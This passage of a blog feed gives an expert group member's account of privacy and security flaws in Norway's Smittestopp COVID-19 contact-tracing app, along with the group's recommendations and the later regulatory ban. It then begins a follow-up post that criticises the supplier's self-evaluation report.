&lt;p&gt;Using a static identifier that is never rotated is &lt;em&gt;obviously&lt;/em&gt; a &lt;strong&gt;bad idea&lt;/strong&gt;, and makes it possible to track users.&lt;/p&gt;
&lt;p&gt;There is something to be desired in transparency; Both the purpose(s) of the application, as well as just how data is &quot;anonymized&quot; and aggregated should be clearly and specificly communicated to the public.
The anonymization process was not finalized during our evaluation, other than involving various forms of aggregation – which does is not necessarily able to make any guarantees with regards to anonymity.&lt;/p&gt;
&lt;p&gt;If code were open sourced, the public would be able to verify the functionality, as opposed to depending on &quot;security by obscurity&quot;.&lt;/p&gt;
&lt;p&gt;The fact that the functionality used to bind phone number to the cloud device ID is implemented using a so-called &quot;preview feature&quot;, which the supplier says one should &lt;em&gt;not&lt;/em&gt; use to process personal data or any other data that is subject to heightened compliance requirements, is obviously not great.&lt;/p&gt;
&lt;p&gt;There were also various logging- and compliance-issues, such as users not being able to see any data about their Bluetooth-contacts, access logs from health authorities or view audit logs after requesting deletion.&lt;/p&gt;
&lt;p&gt;The contact analysis code was very complicated and complex (low quality in a maintainability-context), and had weaknesses both in implementation and in method.&lt;/p&gt;
&lt;p&gt;The app also used SMS to notify users, which is not a secure communications channel, and is easily spoofable.&lt;/p&gt;
&lt;h2&gt;Recommendations&lt;/h2&gt;
&lt;p&gt;The group&apos;s recommendations (in our final public report) included:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Clarifying the regulation which serves as basis for processing (changing &quot;anonymized&quot; to &quot;deidentified&quot;), to enable data aggregation in practice.&lt;/li&gt;
&lt;li&gt;Split purposes, and allow users to choose how their data is used (split into several apps, or implement opt-in functionality). This might both protect users&apos; interests and lead to more users.&lt;/li&gt;
&lt;li&gt;Remove all data that is not needed (e.g. delete location data older than 15-16 days, delete location data without crossing trajectories at regular intervals) to increase data minimization.&lt;/li&gt;
&lt;li&gt;Implement differential privacy in data aggregation processes, to reduce risk to privacy and increase accuracy of the resulting dataset.&lt;/li&gt;
&lt;li&gt;Consider rewriting to a more distributed solution, post stabilized contact tracing criteria, as this could be both less invasive and lead to an increase in users.&lt;/li&gt;
&lt;li&gt;Implement local differential privacy before uploading user data, to further decrease privacy impact.&lt;/li&gt;
&lt;li&gt;Make as much source code as possible available as open source, to give the public real insight into how their data is used.&lt;/li&gt;
&lt;li&gt;Regularly evaluate the solution, purpose and effect, to ensure that the solution is still suitable, and the problem is still relevant.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Discussion&lt;/h2&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/76c08bb9afb075bd6a0efbc07f3f0c98/4b319/chat.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 66.45569620253164%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAANABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABAACA//EABcBAAMBAAAAAAAAAAAAAAAAAAIDBAX/2gAMAwEAAhADEAAAAUHXxzjZZpnf/8QAGRAAAwEBAQAAAAAAAAAAAAAAAAECAxMx/9oACAEBAAEFAtdHL7ULy4VixSZ//8QAFxEBAAMAAAAAAAAAAAAAAAAAAhARIf/aAAgBAwEBPwFF3kf/xAAYEQACAwAAAAAAAAAAAAAAAAACAxASIf/aAAgBAgEBPwECXXY//8QAGRAAAwADAAAAAAAAAAAAAAAAAAEQIUFR/9oACAEBAAY/AkkamTs//8QAGRABAAMBAQAAAAAAAAAAAAAAAQAhUREQ/9oACAEBAAE/IeDN7Ab6jIuh2AFqyWVRnn//2gAMAwEAAgADAAAAENz/AP/EABgRAAIDAAAAAAAAAAAAAAAAAAAhARFx/9oACAEDAQE/EJjlpR//xAAYEQEAAwEAAAAAAAAAAAAAAAABABEhcf/aAAgBAgEBPxAtDvImz//EABoQAQADAQEBAAAAAAAAAAAAAAEAESExgdH/2gAIAQEAAT8QGYp7ybUonnLQ27+TGeBg5U8K5D9wOs3yDQAYT//Z&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Paper chat bubble&quot;
        title=&quot;Paper chat bubble&quot;
        src=&quot;/static/76c08bb9afb075bd6a0efbc07f3f0c98/828fb/chat.jpg&quot;
        srcset=&quot;/static/76c08bb9afb075bd6a0efbc07f3f0c98/ff44c/chat.jpg 158w,
/static/76c08bb9afb075bd6a0efbc07f3f0c98/a6688/chat.jpg 315w,
/static/76c08bb9afb075bd6a0efbc07f3f0c98/828fb/chat.jpg 630w,
/static/76c08bb9afb075bd6a0efbc07f3f0c98/0ede0/chat.jpg 945w,
/static/76c08bb9afb075bd6a0efbc07f3f0c98/3ac88/chat.jpg 1260w,
/static/76c08bb9afb075bd6a0efbc07f3f0c98/4b319/chat.jpg 5472w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;It is not known whether digital contact tracing is a viable solution to the problem at hand. It is unknown what value it can bring, and if it is even feasable. Most scientists with direct experience claim digital contact tracing is &lt;em&gt;at best&lt;/em&gt; complementary addition to manual contact tracing.&lt;/p&gt;
&lt;p&gt;The Norwegian app is not in accordance with common &lt;a href=&quot;https://ec.europa.eu/digital-single-market/en/news/coronavirus-common-approach-safe-and-efficient-mobile-tracing-apps-across-eu&quot;&gt;European guidelines&lt;/a&gt;, the &lt;a href=&quot;https://ec.europa.eu/info/sites/info/files/recommendation_on_apps_for_contact_tracing_4.pdf&quot;&gt;EU commision&apos;s recommendations on apps for contact tracing&lt;/a&gt;, the &lt;a href=&quot;https://www.europarl.europa.eu/doceo/document/TA-9-2020-0054_EN.pdf&quot;&gt;EU resolution on coordinated work against COVID-19&lt;/a&gt;, nor &lt;a href=&quot;https://edpb.europa.eu/sites/edpb/files/files/file1/edpb_guidelines_20200420_contact_tracing_covid_with_annex_en.pdf&quot;&gt;guidelines from the European Data Protection Board (EPDB)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Surveilling movements and contacts of all users of the app is an extremely invasive measure, and as the effectivenes and usefulness of the system is not clear, the proportionality of this measure is questionable at best. One would expect some sort of explanation, analysis or Privacy Impact Assessment (i.e. PIA; not a DPIA, or Data Protection Impact Assessment) – but none exists.&lt;/p&gt;
&lt;p&gt;Regarding anonymization, FHI has &lt;a href=&quot;https://www.fhi.no/sv/smittsomme-sykdommer/corona/smittestopp-og-informasjonssikkerhet/&quot;&gt;written&lt;/a&gt; (Norwegian) this comment on our report (freely translated from Norwegian):&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The report also has a recommendation of anonymization of data for analysis purposes, through so-called differential privacy. FHI has at this point already developed an elaborate system for anonymization that in FHIs view will have an equally anonymizing effect as so-called differential privacy, but which is easier to implement, communicate and doesn&apos;t lose any data quality to speak of.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;While the statement makes sense syntactically, evaluating the logic is left as an exercise for the reader: Is it possible to somehow deliver anonymization to the same extent as differential privacy (but without the formal guarantees)?&lt;/p&gt;
&lt;p&gt;The app is not open source, as it is claimed this might lead to bettered security in the long run, but will give would-be-attackers a chance to exploit vulnerabilities before anyone sees or fixes them in the short run.&lt;/p&gt;
&lt;p&gt;Simula (the supplier) has themselves argued, in the case of whether to open source or not, that even if they acknowledge potential positive sides of doing this, it&apos;s about trust vs. real security. It&apos;s strange, then, that in discussions of privacy, they seem to believe that certain choices and actions are fine and defendable because the involved parties (themselves, FHI, the Norwegian government, etc.) are &quot;good&quot;, as opposed to alternative parties (whether real or hypothetical).&lt;/p&gt;
&lt;p&gt;Work on the project apparently started in early March. While things looked ugly back then – we didn&apos;t know how many could die etc. – anyone with serious competency in privacy would have thought (and at least considered implementations) along the lines of the distributed protocols we know today.
Still, one might be able to forgive the choice to be more ambitious in data collection; What&apos;s worse is the refusal to adjust at any point of change in situation, and as we have gained a better technical understanding of the issues.&lt;/p&gt;
&lt;p&gt;In aggregate, all of the above point to a flawed decision-making process, where privacy can not be said to be not &quot;built in&quot; – and the solution itself would seem to be to be the very antithesis of &quot;privacy by design&quot;.&lt;/p&gt;
&lt;p&gt;The Norwegian public generally trusts their government to a large extent. This makes it possible for us to take collective action in ways other countries cannot. At the same time, if government actions are more privacy-invasive than they need to be – in and of itself, or even by enabling a leak or misuse – we risk undermining this very trust.&lt;/p&gt;
&lt;p&gt;An app that works this way should, in my professional opinion, &lt;em&gt;obviously&lt;/em&gt; not be used by lawyers, journalists, people that work in defense, live at a secret address, are in positions of power, and so on.&lt;/p&gt;
&lt;h2&gt;Media strategy and public communications: A sidenote&lt;/h2&gt;
&lt;p&gt;Pretty early on in the process, Simula – the suppliers of the app, under contract from Norwegian Institute of Public Health (Folkehelseinstituttet, FHI) – was given critical feedback from the Norwegian Data Protection Authority.&lt;/p&gt;
&lt;p&gt;Simula responded by writing blog posts asserting the normality of the situation, and that this was no cause for concern.&lt;/p&gt;
&lt;p&gt;During our evaluation, a &lt;a href=&quot;https://medium.com/@jointstatementnorway/joint-statement-on-contact-tracing-for-norway-331ee49fc6f6&quot;&gt;joint statement&lt;/a&gt; was released by Norwegian technology, security and privacy experts – asking the Norwegian health authorities to change course, which gained a lot of media attention.&lt;/p&gt;
&lt;p&gt;While the Norwegian Institutee of Public Health remained silent, Simula wrote op-eds describing critics and those that would not use the app as selfish.&lt;/p&gt;
&lt;p&gt;After delivering our final public report, which concluded that the solution handled neither security nor privacy responsibly, things got weird. During the press conference at which our group&apos;s leader presented our findings, the Norwegian Institute of Public Health commented that both security and privacy was responsibly handled in their opinion. At the same time Simula wrote a &lt;a href=&quot;https://www.simula.no/news/nyttig-rapport-fra-ekspertgruppa-om-smittestopp&quot;&gt;blogpost&lt;/a&gt;, in which they attacked the expert group&apos;s integrity – claiming that our conclusions were based on personal opinions, and that our recommendations were politically motivated (see screenshot below, Norwegian).&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/60317cde162559180b4ba76b6992e01e/47311/simula-blog.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 115.18987341772151%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAXABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAMBBf/EABQBAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhADEAAAAeyCrBHAuD//xAAaEAACAgMAAAAAAAAAAAAAAAAAARESAjFB/9oACAEBAAEFApLMRJYTk6Y6/8QAFBEBAAAAAAAAAAAAAAAAAAAAIP/aAAgBAwEBPwEf/8QAFBEBAAAAAAAAAAAAAAAAAAAAIP/aAAgBAgEBPwEf/8QAFBABAAAAAAAAAAAAAAAAAAAAMP/aAAgBAQAGPwIf/8QAGxAAAgIDAQAAAAAAAAAAAAAAAAERIRAxQWH/2gAIAQEAAT8hbzwXgNK0O+ivCJI1bL//2gAMAwEAAgADAAAAEHfHAP/EABQRAQAAAAAAAAAAAAAAAAAAACD/2gAIAQMBAT8QH//EABQRAQAAAAAAAAAAAAAAAAAAACD/2gAIAQIBAT8QH//EAB0QAQABBQEBAQAAAAAAAAAAAAEAESExQVGRcdH/2gAIAQEAAT8QErWL39mMHhigqHkpoqs9gtP1ZpWY2DcomtypFvWf/9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Simula&amp;#39;s original statement (Norwegian)&quot;
        title=&quot;Simula&amp;#39;s original statement (Norwegian)&quot;
        src=&quot;/static/60317cde162559180b4ba76b6992e01e/828fb/simula-blog.jpg&quot;
        srcset=&quot;/static/60317cde162559180b4ba76b6992e01e/ff44c/simula-blog.jpg 158w,
/static/60317cde162559180b4ba76b6992e01e/a6688/simula-blog.jpg 315w,
/static/60317cde162559180b4ba76b6992e01e/828fb/simula-blog.jpg 630w,
/static/60317cde162559180b4ba76b6992e01e/0ede0/simula-blog.jpg 945w,
/static/60317cde162559180b4ba76b6992e01e/47311/simula-blog.jpg 1080w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;This part of the post basically translates to:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;What about privacy?&lt;/strong&gt;&lt;br&gt;
The expert group concludes that they &quot;think privacy is not well enough taken care of&quot;. Simula would like to point out that this is not justified with any sides of the app itself. The expert group do not wish that location data be collected, and they therefore conclude that privacy is not handled good enough.&lt;/p&gt;
&lt;br&gt;
&lt;p&gt;&lt;strong&gt;Political recommendations&lt;/strong&gt;&lt;br&gt;
Several of the recommendations from the expert group, on the other hand, bears the impression of being the members&apos; views on some familiar discussions that have been around Smittestopp along the way. This especially goes for the members of the group wanting contact tracing only locally on the phones (Recommendations &quot;Go over to a dsitributed model for collection of data&quot; and &quot;Split the purposes and make it possible to elect to be part of only one&quot;) and that the members wish that the source code be made publicly available. (&quot;Make available as much source code as possible as open source&quot;). These are familiar subjects of debate, but has little to do with how Smittestopp works.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Their blogpost has since been edited (exchanging &quot;political&quot; for &quot;personal&quot;), but questioning the motives of an impartial external group tasked with evaluating their work in this way is concerning nonetheless.&lt;/p&gt;
&lt;p&gt;In addition, Kyrre Lekve (Deputy Managing Director at Simula) said &quot;There are many countries I think should not use the Norwegian solution – precisely because they don&apos;t have a well regulated democracy; They don&apos;t have strong privacy interests and governments that keep watch&quot; (freely translated from Norwegian) in episode &lt;a href=&quot;https://podtail.com/podcast/waterhouse/-2-prat-med-kyrre-lekve-fra-simula-om-prosess-og-d/&quot;&gt;#2&lt;/a&gt; of the Norwegian podcast Waterhouse.&lt;/p&gt;
&lt;p&gt;Privacy would then by definition not be handled responsibly, as any privacy guarantees would be contingent on trust.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Key point:&lt;/strong&gt; &lt;em&gt;Data protection and and privacy are &lt;u&gt;different things&lt;/u&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Later development&lt;/h2&gt;
&lt;p&gt;Although Simula and the Norwegian Institute of Public Health has just recently announced that they are experimenting with an app based on Apple and Google&apos;s new exposure notification APIs, it&apos;s too little, too late...&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;On June 15th, the Norwegian Data Protection Authority &lt;a href=&quot;https://www.datatilsynet.no/contentassets/1c72ac62cac145efa242942ca34c2cd0/20-02058-9-varsel-om-vedtak-om-midlertidig-forbud-mot-a-behandle-personopplysninger---smittestopp.pdf&quot;&gt;concluded&lt;/a&gt; that (in the context of the low Norwegian rate of infection), the degree of privacy-invasiveness in the Norwegian solution for contact tracing COVID-19 is not justified, as it is disproportionately invasive to privacy. They told FHI that they intended to enforce a temporary ban on processing of personal information from Smittestopp by the 23rd of June.&lt;/p&gt;
&lt;p&gt;News broke that morning that FHI would stop all data collection from the app, and delete all previously collected data – though they would be able continue collection if they did it in a more responsible way, according to the DPA. This means that FHI themselves chose to delete all data.&lt;/p&gt;
&lt;p&gt;The DPA said they were especially critical of the use of location data, pointing out that this goes against the recommendations of the World Health Organization and the European Data Protection Board.&lt;/p&gt;
&lt;p&gt;FHI were given a week to document the usefulness of the app, and make neccessary adjustments.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Then, a day later, Amnesty International &lt;a href=&quot;https://www.amnesty.org/en/latest/news/2020/06/bahrain-kuwait-norway-contact-tracing-apps-danger-for-privacy/&quot;&gt;announced&lt;/a&gt; that they found Smittestopp to be among the most dangerous tracing apps for privacy.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;On June 17th there were reports of people that had uninstalled the app many weeks prior were getting tex messages informing them about the pause in data collection – even though their data (including phone numbers) should already be deleted, acording to FHI.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;FHI delivered a &lt;a href=&quot;https://www.fhi.no/nyheter/2020/fhi-har-svart-datatilsynet-om-smittestopp/&quot;&gt;response to the Norwegian DPA, plus some other documents&lt;/a&gt; on June 24th, in which they state that they disagree with the DPA.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Update July 7th&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;On July 7th &lt;a href=&quot;https://www.nrk.no/norge/fhi-far-ikke-behandle-personopplysninger-i-smittestopp-1.15081791&quot;&gt;NRK reported&lt;/a&gt; (Norwegian) that the Norwegian DPA had implemented the temporary ban on processing of personal information from Smittestopp for FHI.&lt;/p&gt;
&lt;p&gt;FHI &lt;a href=&quot;https://www.fhi.no/nyheter/2020/fhi-har-mottatt-vedtak-om-midlertidig-forbud/&quot;&gt;stated&lt;/a&gt; they were working to follow up the parliament&apos;s decision (in line with the recommendations of our report) of splitting the app in two based on its functionality: an analysis-part, and a part for contact tracing.&lt;/p&gt;
&lt;h2&gt;Final words&lt;/h2&gt;
&lt;p&gt;Norway is hence worst-in-class in contact tracing apps for COVID-19.&lt;/p&gt;
&lt;p&gt;This is pretty unexpected – and not something I would have seen coming half a year ago.&lt;/p&gt;
&lt;p&gt;To be able to defend the privacy impact and degree of invasiveness, one would need a (probable) effect of utility; The calculus of necessity includes legality, necessity and proportionality. To claim it to be necessary, you need a (probable) effect to point to.&lt;/p&gt;
&lt;p&gt;Amnesty, the Norwegian DPA, Parliament, EU, Google and Apple, the independent expert group, and 300 professionals in privacy and technology have all warned the involved parties several times. The fact that there has been no change until the entire app was put on hold is very strange given the degree of trust we usually pride ourselves on placing in experts in Norway.&lt;/p&gt;
&lt;p&gt;I dare say that most engineers – and those with serious competency in security and/or privacy in particular – would see the issues inherent in the Norwegian model, and would have explored other alternatives to a larger extent.&lt;/p&gt;
&lt;p&gt;There are privacy-preserving alternatives (such as the existing protocols and solutions), and they should &lt;em&gt;always&lt;/em&gt; be explored first.&lt;/p&gt;
&lt;p&gt;As for what the supplier, the producer and responsible party, or even politicians say and think about the privacy-implications of such solutions: When independent third parties are tasked with evaluating them (be it an expert group, the DPA or otherwise), it matters little what they feel about the results.&lt;/p&gt;
&lt;p&gt;It&apos;s laudable to want to solve this very real, and very big problem with the means available to us. But we can&apos;t excuse bad work and a lack of understanding by claiming that the ends justifies the means.&lt;/p&gt;
&lt;p&gt;What should be done now is to rewrite the app in a more privacy preserving way, as well as trying to learn from the methods, processess and decisions that have lead to this outcome in order not to make this mistake again.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[The legend never dies]]></title><description><![CDATA[Most of us thought Smittestopp – the Norwegian COVID-19 app – was dead and gone after international media attention following Amnesty's…]]></description><link>https://eivindarvesen.com/blog/2020/09/26/the-legend-never-dies</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2020/09/26/the-legend-never-dies</guid><content:encoded>&lt;p&gt;Most of us thought Smittestopp – the Norwegian COVID-19 app – was dead and gone after international media attention following Amnesty&apos;s &lt;a href=&quot;https://www.amnesty.org/en/latest/news/2020/06/bahrain-kuwait-norway-contact-tracing-apps-danger-for-privacy/&quot;&gt;ranking&lt;/a&gt; it among the three apps &quot;most dangerous for privacy&quot;, and being shut down by the Norwegian Data Protection Authority... not so!&lt;/p&gt;
&lt;p&gt;A little while ago, Simula (who were the producer/supplier of Smittestopp on behalf of the Norwegian Institute of Public Health) released a &quot;&lt;a href=&quot;https://www.simula.no/sites/default/files/sammenligning_alternative_digital_smittesporing.pdf&quot;&gt;report&lt;/a&gt;&quot; (only available in Norwegian) initiated by themselves entitled &quot;Comparison of alternative solutions for digital contact tracing&quot; (directly translated from Norwegian) – basically evaluating their own work. In it, they attempt to absolve themselves of any responsibility or wrongdoing.&lt;/p&gt;
&lt;p&gt;The report makes several claims, including:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;That Google collects data that identifies person and location; This references a &lt;a href=&quot;https://slack-redir.net/link?url=https%3A%2F%2Fwww.scss.tcd.ie%2FDoug.Leith%2Fpubs%2Fcontact_tracing_app_traffic.pdf&quot;&gt;paper&lt;/a&gt; from Trinity college detailing potentially problematic analytics/telemetry collected via &lt;a href=&quot;https://slack-redir.net/link?url=https%3A%2F%2Fen.wikipedia.org%2Fwiki%2FGoogle_Play_Services&quot;&gt;Google Play Services&lt;/a&gt; – including IMEI, WiFi MAC, email address, handset IP, etc.&lt;/li&gt;
&lt;li&gt;That &quot;the criticism was always based on views related to privacy, but was to a small extent related to the question of whether a distributed solution would work as well as a centralized solution. The technological challenge associated with digital infection detection is finding a good balance between effective infection detection and privacy, but the Norwegian debate was mainly about privacy. Thus, the problem appeared to be significantly narrower than it actually is.&quot; (translated)&lt;/li&gt;
&lt;li&gt;&quot;The driving factor behind the criticism of Smittestopp was the potential for harm that lies in the fact that data on the population&apos;s way of life was stored centrally for up to a month. There was a fear that data would fall into the hands of unauthorized persons, or that the authorities would use the data for purposes other than those authorized by law and regulations.&quot;&lt;/li&gt;
&lt;li&gt;With regards to Play Services: &quot;... and with a potential future version of Smittestopp not using GPS, the data collected by Google will be clearly more intrusive than a future Smittestopp will be.&quot;&lt;/li&gt;
&lt;li&gt;&quot;The risk that data may go astray from Smittestopp or from Google appears to be comparable. Google is one of the most professional players in the world when it comes to data security. Data from Infection Control was stored in Microsoft&apos;s server park in Ireland, and was monitored 24 hours a day by Mnemonic.&quot;&lt;/li&gt;
&lt;li&gt;&quot;The big difference between the solutions, however, lies in what data is allowed to be used for. Data from the Smittestopp could only be used for contact tracing and for the acquisition of knowledge to combat the pandemic. Furthermore, it was required through regulations that all data from the Smittestopp should be deleted after one month. We are not aware that similar restrictions apply to data collected by Google.&quot;&lt;/li&gt;
&lt;li&gt;The dedicate a chapter to &quot;Technology power and technology risk&quot;&lt;/li&gt;
&lt;li&gt;With regards to monitoring the population: &quot;There is reason to assume that integration of these functionalities in the same app will lead to the functionality for monitoring being used more than if it were a separate app only for monitoring. This is because monitoring alone will to a small extent provide an incentive for the individual citizen to download another app. Furthermore, there is reason to fear that it will give a significant skew in the data, in that only those who are basically inclined to follow orders and wishes from the authorities who would download the app. The ideal would therefore be if these two functionalities are integrated in the same app also in the future.&quot;&lt;/li&gt;
&lt;li&gt;Regarding efficacy: &quot;The assessment of how intrusive Smittestopp and other tracking solutions are in the individual&apos;s privacy must be seen in relation to the potential value they have in fighting the pandemic.&quot;&lt;/li&gt;
&lt;li&gt;They appear to attempt to connect the problematic data sent via Play Services to the GAEN-protocol itself, and to compare this with the design and architecture of Smittestopp – beyond compiling and correlating between datasets (even though Google itself does not have acces to infection keys, from my understanding) – to then problematize this politically&lt;/li&gt;
&lt;li&gt;&quot;As of today, the solutions appear to be quite similar in terms of both performance and the data that is collected [...] However, the most crucial questions are of an administrative and political nature.&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;In other words: quite a lot of errors and questionable statements. They&apos;re clearly trying to save face and clear their name. And there still appears to be basic stuff they have not understood.&lt;/p&gt;
&lt;p&gt;They keep referring to the potential for abuse; That is certainly a part of the privacy impact assessment, but they seem to still not understand that the privacy intervention happens at data collection itself.&lt;/p&gt;
&lt;p&gt;Telemetry/analytics is nothing new, nor in the case of Google Play Services – though this data is clearly identifiable, and a pretty bad case.&lt;/p&gt;
&lt;p&gt;It &lt;em&gt;might&lt;/em&gt; be true that a version of Smittestopp that does not use GPS-data could be less invasive than a GAEN (Google Apple Notification Exposure) solution &lt;em&gt;running on Google&apos;s platform&lt;/em&gt; (as this data collection is only seen on Android) – &lt;strong&gt;but&lt;/strong&gt; this would only be true &lt;em&gt;for certain&lt;/em&gt; if it were a decentralized app; Not collecting location data is surely less invasive, but collecting everyone&apos;s data all the time (as opposed to data from those with confirmed infection) is still more invasive than what seems to be strictly necessary for contact tracing, and in breach with numerous recommendations and best practices.&lt;/p&gt;
&lt;p&gt;As for the claim that there is a comparable risk of data going astray between Smittestopp and &quot;from Google&quot; – it doesn&apos;t really make sense. Under the GAEN protocol, Google has no data. If they&apos;re talking about what is collected via the Play Services, that is another, unrelated matter – but it&apos;s still not necessarily comparable, as Google both owns their storage platform (which &lt;em&gt;could&lt;/em&gt; be comparable to the cloud platform upon which Smittestopp&apos;s services ran), and has extensive experience and competency within building these sorts of solutions, as well as privacy engineering and security engineering itself. The same can not be said for Simula, as can be gleamed from publicly available documentation and reports.&lt;/p&gt;
&lt;p&gt;With regards to what the collected data is allowed to be used for, GAEN does not provide Apple and Google with any data; To my knowledge, health authorities themselves must provide servers under GAEN, to which the infection keys are uploaded. What is collected via Play Services is another matter.&lt;/p&gt;
&lt;p&gt;Claiming that &quot;the ideal&quot; would be an app that both does contact tracing and monitoring of the population betrays their perspective: From a &lt;em&gt;purely&lt;/em&gt; functional point of view (i.e. in a hypothetical void imposing no other requirements) this might be true – but it&apos;s telling of what they&apos;ve understood of the criticism so far.&lt;/p&gt;
&lt;p&gt;Even their description of assessing the invasiveness of the solution is too simplistic –there is &lt;em&gt;a&lt;/em&gt; trade-off between individual privacy and societal utility, but this isn&apos;t the whole picture. Even in the case that mobile apps could &lt;em&gt;undoubtably&lt;/em&gt; solve the problem they attempt to solve (which is not certain) and even replace manual contact tracing entirely (no signs point to this, but to the contrary), one might not need 100% correctness to perform contact tracing to a sufficient extent.&lt;/p&gt;
&lt;p&gt;There &lt;em&gt;is&lt;/em&gt; an interesting discussion to be had about international power dynamics, private companies dictating nation state&apos;s technical approach to contact tracing (even though I personally think the practical outcome in the case of GAEN was good, realpolitikally speaking), etc. – but this is a whole other discussion.&lt;/p&gt;
&lt;p&gt;The fact that they construct a problem by connecting this with a separate and unrelated (though admiteddly problematic) instance of data collection by Google, and try to play some speculative, political game is just ridiculous... especially given the fact that they infamously attacked the expert group&apos;s integrity when we delivered our public report – claiming that our conclusions were based on personal opinions, and that our recommendations were politically motivated.&lt;/p&gt;
&lt;p&gt;Their report got &lt;a href=&quot;https://www.aftenposten.no/norge/i/Ga116V/smittestopp-skulle-stanse-pandemien-naa-forteller-utviklerne-hvordan-g&quot;&gt;some&lt;/a&gt; (&lt;a href=&quot;https://translate.google.com/translate?sl=no&amp;#x26;tl=en&amp;#x26;u=https%3A%2F%2Fwww.aftenposten.no%2Fnorge%2Fi%2FGa116V%2Fsmittestopp-skulle-stanse-pandemien-naa-forteller-utviklerne-hvordan-g&quot;&gt;English Google Translate&lt;/a&gt;) media attention, but also a couple of responses pointing out:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the total &lt;a href=&quot;https://www.digi.no/artikler/kommentar-det-mest-pafallende-i-simula-rapporten-ma-vaere-den-totale-mangelen-pa-selvkritikk/499419?key=ZwjBWovq&quot;&gt;lack of self-criticism&lt;/a&gt; (&lt;a href=&quot;https://translate.google.com/translate?hl=&amp;#x26;sl=no&amp;#x26;tl=en&amp;#x26;u=https%3A%2F%2Fwww.digi.no%2Fartikler%2Fkommentar-det-mest-pafallende-i-simula-rapporten-ma-vaere-den-totale-mangelen-pa-selvkritikk%2F499419%3Fkey%3DZwjBWovq&quot;&gt;English Google Translate&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;the &lt;a href=&quot;https://www.digi.no/artikler/farlig-pastand-at-det-var-google-og-apple-sin-skyld-at-smittestopp-havarerte/499360?key=V9EGi3Ws&quot;&gt;continued arrogance&lt;/a&gt; (&lt;a href=&quot;https://translate.google.com/translate?hl=&amp;#x26;sl=no&amp;#x26;tl=en&amp;#x26;u=https%3A%2F%2Fwww.digi.no%2Fartikler%2Ffarlig-pastand-at-det-var-google-og-apple-sin-skyld-at-smittestopp-havarerte%2F499360%3Fkey%3DV9EGi3Ws&quot;&gt;English Google Translate&lt;/a&gt;)&lt;/li&gt;
